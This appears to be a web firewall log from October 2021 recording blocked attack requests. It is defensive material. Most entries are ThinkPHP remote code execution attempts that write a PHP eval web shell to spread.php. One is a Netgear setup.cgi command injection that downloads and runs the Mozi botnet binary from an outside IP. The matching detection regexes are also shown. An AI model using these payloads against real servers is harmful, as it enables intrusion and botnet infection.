["2021-10-23 00:11:22","123.156.226.125","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> server[REQUEST_METHOD]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 00:11:23","123.156.226.125","GET","\/public\/index.php\/?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 00:11:23","123.156.226.125","GET","\/public\/index.php\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 00:11:24","123.156.226.125","GET","\/public\/index.php\/?s=index\/%5Cthink%5CRequest\/input&filter=system&data=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> data:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 00:11:24","123.156.226.125","GET","\/public\/index.php?a=fetch&templateFile=public\/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E')","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","'$ >> prefix:''"] ["2021-10-23 05:31:20","49.89.95.39","GET","\/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+\/tmp\/*;wget+http:\/\/49.89.95.39:37377\/Mozi.m+-O+\/tmp\/netgear;sh+netgear&curpath=\/&currentsetting.htm=1",null,"args","\/\\* >> cmd:rm -rf \/tmp\/*;wget http:\/\/49.89.95.39:37377\/Mozi.m -O \/tmp\/netgear;sh netgear"] ["2021-10-23 13:57:33","61.136.101.125","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> server[REQUEST_METHOD]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 13:57:33","61.136.101.125","POST","\/public\/index.php\/?s=captcha","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> server[REQUEST_METHOD]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 13:57:33","61.136.101.125","GET","\/public\/index.php\/?s=index\/%5Cthink%5CContainer\/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 13:57:33","61.136.101.125","GET","\/public\/index.php\/?s=\/index\/%5Cthink%5Capp\/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vars[1][]:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 13:57:33","61.136.101.125","GET","\/public\/index.php\/?s=index\/%5Cthink%5CRequest\/input&filter=system&data=echo%20%3C?php%20@eval($_POST%5Bspread%5D);?%3E%20%3E%3Espread.php","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|char|chr|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> data:echo <?php @eval($_POST[spread]);?> >>spread.php"] ["2021-10-23 13:57:33","61.136.101.125","GET","\/public\/index.php?a=fetch&templateFile=public\/index&prefix=''&content=%3Cphp%3Efile_put_contents('spread.php','%3C?php%20@eval($_POST%5Bspread%5D);?%3E')","Mozilla\/5.0 (compatible; MSIE 10.0; Windows NT 6.2)","args","'$ >> prefix:''"]